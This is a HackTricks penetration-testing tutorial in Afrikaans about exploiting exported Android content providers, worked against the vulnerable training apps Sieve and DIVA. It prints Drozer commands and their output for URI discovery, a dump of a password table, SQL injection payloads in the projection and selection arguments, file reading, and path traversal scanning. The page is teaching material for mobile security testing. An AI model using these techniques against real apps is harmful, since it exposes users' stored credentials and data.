Exploiting Content Providers

Reading time: 5 minutes

Exploiting Content Providers

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Intro

Data word verskaf van een toepassing na ander op versoek deur 'n komponent bekend as 'n content provider. Hierdie versoeke word bestuur deur die ContentResolver class metodes. Content providers kan hul data in verskeie plekke stoor, soos 'n databasis, lĂȘers, of oor 'n netwerk.

In die Manifest.xml lĂȘer is die verklaring van die content provider vereis. Byvoorbeeld:

xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Om toegang te verkry tot content://com.mwr.example.sieve.DBContentProvider/Keys, is die READ_KEYS toestemming nodig. Dit is interessant om op te let dat die pad /Keys/ in die volgende afdeling toeganklik is, wat nie beskerm is nie weens 'n fout van die ontwikkelaar, wat /Keys beveilig het maar /Keys/ verklaar het.

Miskien kan jy toegang verkry tot privaat data of 'n sekere kwesbaarheid benut (SQL Injection of Path Traversal).

Kry inligting van blootgestelde inhoudverskaffers

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Dit is moontlik om saam te stel hoe om die DBContentProvider te bereik deur URI's te begin met “content://”. Hierdie benadering is gebaseer op insigte wat verkry is deur Drozer te gebruik, waar sleutel-inligting in die /Keys gids geleĂ« was.

Drozer kan raai en verskeie URI's probeer:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

U moet ook die ContentProvider kode nagaan om vir navrae te soek:

As u ook nie volle navrae kan vind nie, kan u kyk watter name deur die ContentProvider verklaar is in die onCreate metode:

Die navraag sal soos volg wees: content://name.of.package.class/declared_name

Databasis-ondersteunde Inhoudverskaffers

Waarskynlik word die meeste van die Inhoudverskaffers as koppelvlak vir 'n databasis gebruik. Daarom, as u toegang kan verkry, kan u in staat wees om inligting te onttrek, op te dateer, in te voeg en te verwyder.
Kyk of u toegang tot sensitiewe inligting kan kry of probeer om dit te verander om autorisasiemeganismes te omseil.

Wanneer u die kode van die Inhoudverskaffer nagaan, kyk ook vir funksies wat soos volg genoem word: query, insert, update en delete:

Omdat u in staat sal wees om hulle aan te roep

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Voeg inhoud in

Deur die databasis te ondervra, sal jy die naam van die kolomme leer, dan kan jy data in die DB invoeg:

Notice dat jy in invoeg en opdatering --string kan gebruik om 'n string aan te dui, --double om 'n double aan te dui, --float, --integer, --long, --short, --boolean

Werk inhoud op

Met die naam van die kolomme kan jy ook die inskrywings wysig:

Verwyder inhoud

SQL Inbraak

Dit is eenvoudig om vir SQL-inbraak (SQLite) te toets deur die projektering en keuse velde wat aan die inhoudverskaffer oorgedra word, te manipuleer.
Wanneer jy die Inhoudverskaffer ondervra, is daar 2 interessante argumente om inligting te soek: --selection en --projection:

Jy kan probeer om hierdie parameters te misbruik om vir SQL-inbrake te toets:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Outomatiese SQLInjection ontdekking deur Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

LĂȘerstelsel-ondersteunde Inhoudverskaffers

Inhoudverskaffers kan ook gebruik word om lĂȘers te verkry:

Lees lĂȘer

Jy kan lĂȘers van die Inhoudverskaffer lees.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Pad Traversal

As jy toegang tot lĂȘers kan kry, kan jy probeer om 'n Pad Traversal te misbruik (in hierdie geval is dit nie nodig nie, maar jy kan probeer om "../" en soortgelyke truuks te gebruik).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Outomatiese Pad Traversering ontdekking deur Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks